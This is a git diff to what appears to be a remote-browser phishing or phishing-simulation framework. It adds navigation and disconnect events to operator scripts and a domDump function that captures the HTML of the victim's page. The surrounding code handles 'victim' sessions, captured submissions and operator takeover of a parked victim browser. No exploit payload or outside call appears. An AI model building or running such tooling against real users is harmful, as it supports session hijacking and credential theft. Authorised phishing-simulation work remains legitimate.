diff --git a/backend/controller/remoteBrowser.go b/backend/controller/remoteBrowser.go index 7520550..718961d 100644 --- a/backend/controller/remoteBrowser.go +++ b/backend/controller/remoteBrowser.go @@ -586,6 +586,10 @@ func (m *RemoteBrowserController) ServeVictim(g *gin.Context) { _, msg, err := conn.ReadMessage() if err != nil { sess.victimConnected.Store(false) + select { + case runner.Incoming <- remotebrowser.IncomingMsg{Event: "disconnect"}: + default: + } // keepAlive: browser is parked for operator takeover — a victim // disconnect must not kill the session, the operator still needs it. if !sess.isKeepAlive.Load() { @@ -671,14 +675,34 @@ func (m *RemoteBrowserController) ServeVictim(g *gin.Context) { go runner.Run(ctx) //nolint:errcheck - // As soon as the browser spawns, mark the session as streamable and apply - // the victim viewport if it was already received before the browser was ready. + // As soon as the browser spawns, mark the session as streamable, apply the + // victim viewport, and subscribe to navigation events so the script can react + // via s.on("navigate", fn). go func() { select { case <-ctx.Done(): case page := <-runner.BrowserCh: sess.setBrowserPage(page) applyViewport(page) + wait := page.EachEvent( + func(e *proto.PageFrameNavigated) (stop bool) { + if e.Frame != nil && e.Frame.ParentID == "" { + select { + case runner.Incoming <- remotebrowser.IncomingMsg{Event: "navigate", Data: map[string]string{"url": e.Frame.URL}}: + default: + } + } + return + }, + func(e *proto.PageNavigatedWithinDocument) (stop bool) { + select { + case runner.Incoming <- remotebrowser.IncomingMsg{Event: "navigate", Data: map[string]string{"url": e.URL}}: + default: + } + return + }, + ) + go wait() } }() @@ -767,7 +791,7 @@ func (m *RemoteBrowserController) ServeVictim(g *gin.Context) { processEvent(evt) if evt.Type == "log" || evt.Type == "capture" || evt.Type == "submit" || evt.Type == "keep_alive" || evt.Type == "info" || evt.Type == "error" || - evt.Type == "screenshot" { + evt.Type == "screenshot" || evt.Type == "dom_dump" { continue } payload, err := json.Marshal(map[string]interface{}{ diff --git a/backend/remotebrowser/browser.go b/backend/remotebrowser/browser.go index a6c9854..e4b2426 100644 --- a/backend/remotebrowser/browser.go +++ b/backend/remotebrowser/browser.go @@ -1299,6 +1299,30 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page, return goja.Undefined() }) + pc.Set("domDump", func(call goja.FunctionCall) goja.Value { + name := argStr(call.Argument(0)) + dbg("→ domDump " + name) + rPage, rCancel := readPage() + defer rCancel() + info, _ := rPage.Info() + html, err := rPage.HTML() + if err != nil { + if emitter != nil { + emitter.log(fmt.Sprintf("[domDump] %s: %s", name, err)) + } + return goja.Undefined() + } + pageURL := "" + if info != nil { + pageURL = info.URL + } + if emitter != nil { + emitter.domDump(name, html, pageURL) + } + dbg(fmt.Sprintf("✓ domDump %s (%d bytes)", name, len(html))) + return goja.Undefined() + }) + pc.Set("setViewport", func(call goja.FunctionCall) goja.Value { w := call.Argument(0).ToInteger() h := call.Argument(1).ToInteger() diff --git a/backend/remotebrowser/emitter.go b/backend/remotebrowser/emitter.go index a7de827..145f4fb 100644 --- a/backend/remotebrowser/emitter.go +++ b/backend/remotebrowser/emitter.go @@ -8,7 +8,7 @@ import ( // RunEvent is an event emitted during script execution. type RunEvent struct { - Type string `json:"type"` // "event", "log", "error", "done", "capture", "screenshot", "info", "submit" + Type string `json:"type"` // "event", "log", "error", "done", "capture", "screenshot", "dom_dump", "info", "submit" Key string `json:"key,omitempty"` // for type=event/screenshot (label) Value any `json:"value,omitempty"` // for type=event/capture/screenshot/submit (base64 data URI or arbitrary data) URL string `json:"url,omitempty"` // for type=screenshot (page URL at capture time) @@ -74,6 +74,16 @@ func (e *channelEmitter) capture(data interface{}) { }) } +func (e *channelEmitter) domDump(label string, html string, pageURL string) { + e.send(RunEvent{ + Type: "dom_dump", + Key: label, + Value: html, + URL: pageURL, + Time: time.Now().UTC().Format(time.RFC3339Nano), + }) +} + func (e *channelEmitter) info(msg string) { e.send(RunEvent{ Type: "info", diff --git a/backend/remotebrowser/runner.go b/backend/remotebrowser/runner.go index cf2804a..bb1938b 100644 --- a/backend/remotebrowser/runner.go +++ b/backend/remotebrowser/runner.go @@ -764,6 +764,9 @@ func (r *Runner) Run(ctx context.Context) error { }) // Event-driven API: s.on(event, fn) + s.listen() + s.done() + // Built-in lifecycle events emitted by the server: + // "disconnect" — victim WebSocket connection dropped + // "navigate" — main frame navigated; data: { url: string } handlers := map[string]goja.Callable{} listenDone := make(chan struct{}, 1) diff --git a/frontend/src/lib/components/remote-browser/RemoteBrowserEditor.svelte b/frontend/src/lib/components/remote-browser/RemoteBrowserEditor.svelte index b3a1a10..799546c 100644 --- a/frontend/src/lib/components/remote-browser/RemoteBrowserEditor.svelte +++ b/frontend/src/lib/components/remote-browser/RemoteBrowserEditor.svelte @@ -485,11 +485,19 @@ interface Session { close(): void; // ── Event-driven API ───────────────────────────────────────────────────── - /** Register a handler called when the victim page sends this event */ + /** + * Register a handler for a named event. Must be called before s.listen(). + * + * Built-in lifecycle events emitted automatically by the server: + * - `"disconnect"` — victim closed their browser or navigated away; no data + * - `"navigate"` — main frame navigated to a new URL; data: `{ url: string }` + * + * All other event names are victim-page events sent via `rb.emit(name, data)`. + */ on(event: string, handler: (data: any) => void): void; - /** Start processing incoming victim events; blocks until done() is called */ + /** Start processing incoming events; blocks until done() is called */ listen(): void; - /** Signal listen() to stop processing */ + /** Exit the listen() loop */ done(): void; // ── Race ────────────────────────────────────────────────────────────────── @@ -584,9 +592,11 @@ interface FrameSession { // ── JavaScript evaluation ───────────────────────────────────────────────── evaluate(expression: string): any; - // ── Screenshots ─────────────────────────────────────────────────────────── + // ── Screenshots & DOM capture ──────────────────────────────────────────── screenshot(name: string): void; screenshotElement(selector: string, name: string): void; + /** Capture the full page HTML and emit it as a named dom_dump event for debugging */ + domDump(name: string): void; // ── Viewport & emulation ───────────────────────────────────────────────── setViewport(width: number, height: number): void;